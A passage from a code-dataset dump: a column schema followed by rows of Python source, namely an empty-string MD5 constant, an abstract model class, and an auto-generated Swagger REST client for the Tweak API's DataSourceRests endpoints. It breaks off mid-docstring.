hexsha
string | size
int64 | ext
string | lang
string | max_stars_repo_path
string | max_stars_repo_name
string | max_stars_repo_head_hexsha
string | max_stars_repo_licenses
list | max_stars_count
int64 | max_stars_repo_stars_event_min_datetime
string | max_stars_repo_stars_event_max_datetime
string | max_issues_repo_path
string | max_issues_repo_name
string | max_issues_repo_head_hexsha
string | max_issues_repo_licenses
list | max_issues_count
int64 | max_issues_repo_issues_event_min_datetime
string | max_issues_repo_issues_event_max_datetime
string | max_forks_repo_path
string | max_forks_repo_name
string | max_forks_repo_head_hexsha
string | max_forks_repo_licenses
list | max_forks_count
int64 | max_forks_repo_forks_event_min_datetime
string | max_forks_repo_forks_event_max_datetime
string | content
string | avg_line_length
float64 | max_line_length
int64 | alphanum_fraction
float64 | qsc_code_num_words_quality_signal
int64 | qsc_code_num_chars_quality_signal
float64 | qsc_code_mean_word_length_quality_signal
float64 | qsc_code_frac_words_unique_quality_signal
float64 | qsc_code_frac_chars_top_2grams_quality_signal
float64 | qsc_code_frac_chars_top_3grams_quality_signal
float64 | qsc_code_frac_chars_top_4grams_quality_signal
float64 | qsc_code_frac_chars_dupe_5grams_quality_signal
float64 | qsc_code_frac_chars_dupe_6grams_quality_signal
float64 | qsc_code_frac_chars_dupe_7grams_quality_signal
float64 | qsc_code_frac_chars_dupe_8grams_quality_signal
float64 | qsc_code_frac_chars_dupe_9grams_quality_signal
float64 | qsc_code_frac_chars_dupe_10grams_quality_signal
float64 | qsc_code_frac_chars_replacement_symbols_quality_signal
float64 | qsc_code_frac_chars_digital_quality_signal
float64 | qsc_code_frac_chars_whitespace_quality_signal
float64 | qsc_code_size_file_byte_quality_signal
float64 | qsc_code_num_lines_quality_signal
float64 | qsc_code_num_chars_line_max_quality_signal
float64 | qsc_code_num_chars_line_mean_quality_signal
float64 | qsc_code_frac_chars_alphabet_quality_signal
float64 | qsc_code_frac_chars_comments_quality_signal
float64 | qsc_code_cate_xml_start_quality_signal
float64 | qsc_code_frac_lines_dupe_lines_quality_signal
float64 | qsc_code_cate_autogen_quality_signal
float64 | qsc_code_frac_lines_long_string_quality_signal
float64 | qsc_code_frac_chars_string_length_quality_signal
float64 | qsc_code_frac_chars_long_word_length_quality_signal
float64 | qsc_code_frac_lines_string_concat_quality_signal
float64 | qsc_code_cate_encoded_data_quality_signal
float64 | qsc_code_frac_chars_hex_words_quality_signal
float64 | qsc_code_frac_lines_prompt_comments_quality_signal
float64 | qsc_code_frac_lines_assert_quality_signal
float64 | qsc_codepython_cate_ast_quality_signal
float64 | qsc_codepython_frac_lines_func_ratio_quality_signal
float64 | qsc_codepython_cate_var_zero_quality_signal
bool | qsc_codepython_frac_lines_pass_quality_signal
float64 | qsc_codepython_frac_lines_import_quality_signal
float64 | qsc_codepython_frac_lines_simplefunc_quality_signal
float64 | qsc_codepython_score_lines_no_logic_quality_signal
float64 | qsc_codepython_frac_lines_print_quality_signal
float64 | qsc_code_num_words
int64 | qsc_code_num_chars
int64 | qsc_code_mean_word_length
int64 | qsc_code_frac_words_unique
null | qsc_code_frac_chars_top_2grams
int64 | qsc_code_frac_chars_top_3grams
int64 | qsc_code_frac_chars_top_4grams
int64 | qsc_code_frac_chars_dupe_5grams
int64 | qsc_code_frac_chars_dupe_6grams
int64 | qsc_code_frac_chars_dupe_7grams
int64 | qsc_code_frac_chars_dupe_8grams
int64 | qsc_code_frac_chars_dupe_9grams
int64 | qsc_code_frac_chars_dupe_10grams
int64 | qsc_code_frac_chars_replacement_symbols
int64 | qsc_code_frac_chars_digital
int64 | qsc_code_frac_chars_whitespace
int64 | qsc_code_size_file_byte
int64 | qsc_code_num_lines
int64 | qsc_code_num_chars_line_max
int64 | qsc_code_num_chars_line_mean
int64 | qsc_code_frac_chars_alphabet
int64 | qsc_code_frac_chars_comments
int64 | qsc_code_cate_xml_start
int64 | qsc_code_frac_lines_dupe_lines
int64 | qsc_code_cate_autogen
int64 | qsc_code_frac_lines_long_string
int64 | qsc_code_frac_chars_string_length
int64 | qsc_code_frac_chars_long_word_length
int64 | qsc_code_frac_lines_string_concat
null | qsc_code_cate_encoded_data
int64 | qsc_code_frac_chars_hex_words
int64 | qsc_code_frac_lines_prompt_comments
int64 | qsc_code_frac_lines_assert
int64 | qsc_codepython_cate_ast
int64 | qsc_codepython_frac_lines_func_ratio
int64 | qsc_codepython_cate_var_zero
int64 | qsc_codepython_frac_lines_pass
int64 | qsc_codepython_frac_lines_import
int64 | qsc_codepython_frac_lines_simplefunc
int64 | qsc_codepython_score_lines_no_logic
int64 | qsc_codepython_frac_lines_print
int64 | effective
string | hits
int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
f4d0401ed93c2475b4c58dfb4f870e8495d47dbd
| 47
|
py
|
Python
|
modules/msa/msa/contrib/uniqauth/static.py
|
haoyutan/MSA-Framework
|
7c5553b244347f26029729161e15e60b0cc805f5
|
[
"MIT"
] | 2
|
2016-11-22T11:44:52.000Z
|
2017-08-29T02:38:01.000Z
|
modules/msa/msa/contrib/uniqauth/static.py
|
haoyutan/MSA-Framework
|
7c5553b244347f26029729161e15e60b0cc805f5
|
[
"MIT"
] | null | null | null |
modules/msa/msa/contrib/uniqauth/static.py
|
haoyutan/MSA-Framework
|
7c5553b244347f26029729161e15e60b0cc805f5
|
[
"MIT"
] | null | null | null |
EMPTY_MD5 = "d41d8cd98f00b204e9800998ecf8427e"
| 23.5
| 46
| 0.87234
| 3
| 47
| 13.333333
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.5
| 0.06383
| 47
| 1
| 47
| 47
| 0.409091
| 0
| 0
| 0
| 0
| 0
| 0.680851
| 0.680851
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
f4fce772ecd8caacf42de434529a904558657565
| 118
|
py
|
Python
|
DSAE_PBHL/Model.py
|
RyoOzaki/SparseAutoencoder
|
0fa5da57515c70b5e874abaf63cff51f051c8ad2
|
[
"MIT"
] | 1
|
2018-09-28T03:42:31.000Z
|
2018-09-28T03:42:31.000Z
|
DSAE_PBHL/Model.py
|
RyoOzaki/SparseAutoencoder
|
0fa5da57515c70b5e874abaf63cff51f051c8ad2
|
[
"MIT"
] | 5
|
2020-09-25T22:57:54.000Z
|
2022-02-09T23:56:56.000Z
|
DSAE_PBHL/Model.py
|
RyoOzaki/SparseAutoencoder
|
0fa5da57515c70b5e874abaf63cff51f051c8ad2
|
[
"MIT"
] | null | null | null |
from abc import ABCMeta
class Model(metaclass=ABCMeta):
pass
class PB_Model(Model, metaclass=ABCMeta):
pass
| 14.75
| 41
| 0.745763
| 16
| 118
| 5.4375
| 0.5625
| 0.321839
| 0.482759
| 0.574713
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.177966
| 118
| 7
| 42
| 16.857143
| 0.896907
| 0
| 0
| 0.4
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.4
| 0.2
| 0
| 0.6
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
|
0
| 7
|
762bdf306c2d7ca7b79df7968b637409625ab3cd
| 97,785
|
py
|
Python
|
TweakApi/apis/data_source_rest_api.py
|
tweak-com-public/tweak-api-client-python
|
019f86da11fdb12683d516f8f37db5d717380bcc
|
[
"Apache-2.0"
] | null | null | null |
TweakApi/apis/data_source_rest_api.py
|
tweak-com-public/tweak-api-client-python
|
019f86da11fdb12683d516f8f37db5d717380bcc
|
[
"Apache-2.0"
] | null | null | null |
TweakApi/apis/data_source_rest_api.py
|
tweak-com-public/tweak-api-client-python
|
019f86da11fdb12683d516f8f37db5d717380bcc
|
[
"Apache-2.0"
] | null | null | null |
# coding: utf-8
"""
tweak-api
Tweak API to integrate with all the Tweak services. You can find out more about Tweak at <a href='https://www.tweak.com'>https://www.tweak.com</a>, #tweak.
OpenAPI spec version: 1.0.8-beta.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
from __future__ import absolute_import
import sys
import os
import re
# python 2 and python 3 compatibility library
from six import iteritems
from ..configuration import Configuration
from ..api_client import ApiClient
class DataSourceRestApi(object):
"""
NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
Ref: https://github.com/swagger-api/swagger-codegen
"""
def __init__(self, api_client=None):
config = Configuration()
if api_client:
self.api_client = api_client
else:
if not config.api_client:
config.api_client = ApiClient()
self.api_client = config.api_client
def data_source_rests_change_stream_get(self, **kwargs):
"""
Create a change stream.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_change_stream_get(callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str options:
:return: file
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.data_source_rests_change_stream_get_with_http_info(**kwargs)
else:
(data) = self.data_source_rests_change_stream_get_with_http_info(**kwargs)
return data
def data_source_rests_change_stream_get_with_http_info(self, **kwargs):
"""
Create a change stream.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_change_stream_get_with_http_info(callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str options:
:return: file
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['options']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method data_source_rests_change_stream_get" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
resource_path = '/DataSourceRests/change-stream'.replace('{format}', 'json')
path_params = {}
query_params = {}
if 'options' in params:
query_params['options'] = params['options']
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml'])
# Authentication setting
auth_settings = ['access_token']
return self.api_client.call_api(resource_path, 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='file',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
collection_formats=collection_formats)
def data_source_rests_change_stream_post(self, **kwargs):
"""
Create a change stream.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_change_stream_post(callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str options:
:return: file
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.data_source_rests_change_stream_post_with_http_info(**kwargs)
else:
(data) = self.data_source_rests_change_stream_post_with_http_info(**kwargs)
return data
def data_source_rests_change_stream_post_with_http_info(self, **kwargs):
"""
Create a change stream.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_change_stream_post_with_http_info(callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str options:
:return: file
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['options']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method data_source_rests_change_stream_post" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
resource_path = '/DataSourceRests/change-stream'.replace('{format}', 'json')
path_params = {}
query_params = {}
header_params = {}
form_params = []
local_var_files = {}
if 'options' in params:
form_params.append(('options', params['options']))
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml'])
# Authentication setting
auth_settings = ['access_token']
return self.api_client.call_api(resource_path, 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='file',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
collection_formats=collection_formats)
def data_source_rests_count_get(self, **kwargs):
"""
Count instances of the model matched by where from the data source.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_count_get(callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str where: Criteria to match model instances
:return: InlineResponse2001
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.data_source_rests_count_get_with_http_info(**kwargs)
else:
(data) = self.data_source_rests_count_get_with_http_info(**kwargs)
return data
def data_source_rests_count_get_with_http_info(self, **kwargs):
"""
Count instances of the model matched by where from the data source.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_count_get_with_http_info(callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str where: Criteria to match model instances
:return: InlineResponse2001
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['where']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method data_source_rests_count_get" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
resource_path = '/DataSourceRests/count'.replace('{format}', 'json')
path_params = {}
query_params = {}
if 'where' in params:
query_params['where'] = params['where']
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml'])
# Authentication setting
auth_settings = ['access_token']
return self.api_client.call_api(resource_path, 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='InlineResponse2001',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
collection_formats=collection_formats)
def data_source_rests_find_one_get(self, **kwargs):
"""
Find first instance of the model matched by filter from the data source.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_find_one_get(callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str filter: Filter defining fields, where, include, order, offset, and limit - must be a JSON-encoded string ({\"something\":\"value\"})
:return: DataSourceRest
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.data_source_rests_find_one_get_with_http_info(**kwargs)
else:
(data) = self.data_source_rests_find_one_get_with_http_info(**kwargs)
return data
def data_source_rests_find_one_get_with_http_info(self, **kwargs):
"""
Find first instance of the model matched by filter from the data source.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_find_one_get_with_http_info(callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str filter: Filter defining fields, where, include, order, offset, and limit - must be a JSON-encoded string ({\"something\":\"value\"})
:return: DataSourceRest
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['filter']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method data_source_rests_find_one_get" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
resource_path = '/DataSourceRests/findOne'.replace('{format}', 'json')
path_params = {}
query_params = {}
if 'filter' in params:
query_params['filter'] = params['filter']
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml'])
# Authentication setting
auth_settings = ['access_token']
return self.api_client.call_api(resource_path, 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='DataSourceRest',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
collection_formats=collection_formats)
def data_source_rests_get(self, **kwargs):
"""
Find all instances of the model matched by filter from the data source.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_get(callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str filter: Filter defining fields, where, include, order, offset, and limit - must be a JSON-encoded string ({\"something\":\"value\"})
:return: list[DataSourceRest]
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.data_source_rests_get_with_http_info(**kwargs)
else:
(data) = self.data_source_rests_get_with_http_info(**kwargs)
return data
def data_source_rests_get_with_http_info(self, **kwargs):
"""
Find all instances of the model matched by filter from the data source.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_get_with_http_info(callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str filter: Filter defining fields, where, include, order, offset, and limit - must be a JSON-encoded string ({\"something\":\"value\"})
:return: list[DataSourceRest]
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['filter']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method data_source_rests_get" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
resource_path = '/DataSourceRests'.replace('{format}', 'json')
path_params = {}
query_params = {}
if 'filter' in params:
query_params['filter'] = params['filter']
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml'])
# Authentication setting
auth_settings = ['access_token']
return self.api_client.call_api(resource_path, 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='list[DataSourceRest]',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
collection_formats=collection_formats)
def data_source_rests_id_delete(self, id, **kwargs):
"""
Delete a model instance by {{id}} from the data source.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_id_delete(id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str id: Model id (required)
:return: object
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.data_source_rests_id_delete_with_http_info(id, **kwargs)
else:
(data) = self.data_source_rests_id_delete_with_http_info(id, **kwargs)
return data
def data_source_rests_id_delete_with_http_info(self, id, **kwargs):
"""
Delete a model instance by {{id}} from the data source.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_id_delete_with_http_info(id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str id: Model id (required)
:return: object
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['id']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method data_source_rests_id_delete" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'id' is set
if ('id' not in params) or (params['id'] is None):
raise ValueError("Missing the required parameter `id` when calling `data_source_rests_id_delete`")
collection_formats = {}
resource_path = '/DataSourceRests/{id}'.replace('{format}', 'json')
path_params = {}
if 'id' in params:
path_params['id'] = params['id']
query_params = {}
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml'])
# Authentication setting
auth_settings = ['access_token']
return self.api_client.call_api(resource_path, 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='object',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
collection_formats=collection_formats)
def data_source_rests_id_dynamic_datas_count_get(self, id, **kwargs):
"""
Counts dynamicDatas of DataSourceRest.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_id_dynamic_datas_count_get(id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str id: DataSourceRest id (required)
:param str where: Criteria to match model instances
:return: InlineResponse2001
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.data_source_rests_id_dynamic_datas_count_get_with_http_info(id, **kwargs)
else:
(data) = self.data_source_rests_id_dynamic_datas_count_get_with_http_info(id, **kwargs)
return data
def data_source_rests_id_dynamic_datas_count_get_with_http_info(self, id, **kwargs):
"""
Counts dynamicDatas of DataSourceRest.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_id_dynamic_datas_count_get_with_http_info(id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str id: DataSourceRest id (required)
:param str where: Criteria to match model instances
:return: InlineResponse2001
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['id', 'where']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method data_source_rests_id_dynamic_datas_count_get" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'id' is set
if ('id' not in params) or (params['id'] is None):
raise ValueError("Missing the required parameter `id` when calling `data_source_rests_id_dynamic_datas_count_get`")
collection_formats = {}
resource_path = '/DataSourceRests/{id}/dynamicDatas/count'.replace('{format}', 'json')
path_params = {}
if 'id' in params:
path_params['id'] = params['id']
query_params = {}
if 'where' in params:
query_params['where'] = params['where']
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml'])
# Authentication setting
auth_settings = ['access_token']
return self.api_client.call_api(resource_path, 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='InlineResponse2001',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
collection_formats=collection_formats)
def data_source_rests_id_dynamic_datas_delete(self, id, **kwargs):
"""
Deletes all dynamicDatas of this model.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_id_dynamic_datas_delete(id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str id: DataSourceRest id (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.data_source_rests_id_dynamic_datas_delete_with_http_info(id, **kwargs)
else:
(data) = self.data_source_rests_id_dynamic_datas_delete_with_http_info(id, **kwargs)
return data
def data_source_rests_id_dynamic_datas_delete_with_http_info(self, id, **kwargs):
"""
Deletes all dynamicDatas of this model.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_id_dynamic_datas_delete_with_http_info(id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str id: DataSourceRest id (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['id']
all_params.append('callback')
all_params.append('_return_http_data_only')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method data_source_rests_id_dynamic_datas_delete" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'id' is set
if ('id' not in params) or (params['id'] is None):
raise ValueError("Missing the required parameter `id` when calling `data_source_rests_id_dynamic_datas_delete`")
collection_formats = {}
resource_path = '/DataSourceRests/{id}/dynamicDatas'.replace('{format}', 'json')
path_params = {}
if 'id' in params:
path_params['id'] = params['id']
query_params = {}
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.\
select_header_accept(['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript'])
if not header_params['Accept']:
del header_params['Accept']
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.\
select_header_content_type(['application/json', 'application/x-www-form-urlencoded', 'application/xml', 'text/xml'])
# Authentication setting
auth_settings = ['access_token']
return self.api_client.call_api(resource_path, 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None,
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
collection_formats=collection_formats)
def data_source_rests_id_dynamic_datas_fk_delete(self, id, fk, **kwargs):
"""
Delete a related item by id for dynamicDatas.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.data_source_rests_id_dynamic_datas_fk_delete(id, fk, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param str id: DataSourceRest id (required)
:param str fk: Foreign key for dynamicDatas (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.data_source_rests_id_dynamic_datas_fk_delete_with_http_info(id, fk, **kwargs)
else:
(data) = self.data_source_rests_id_dynamic_datas_fk_delete_with_http_info(id, fk, **kwargs)
return data
def data_source_rests_id_dynamic_datas_fk_delete_with_http_info(self, id, fk, **kwargs):
"""
Delete a related item by id for dynamicDatas.
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
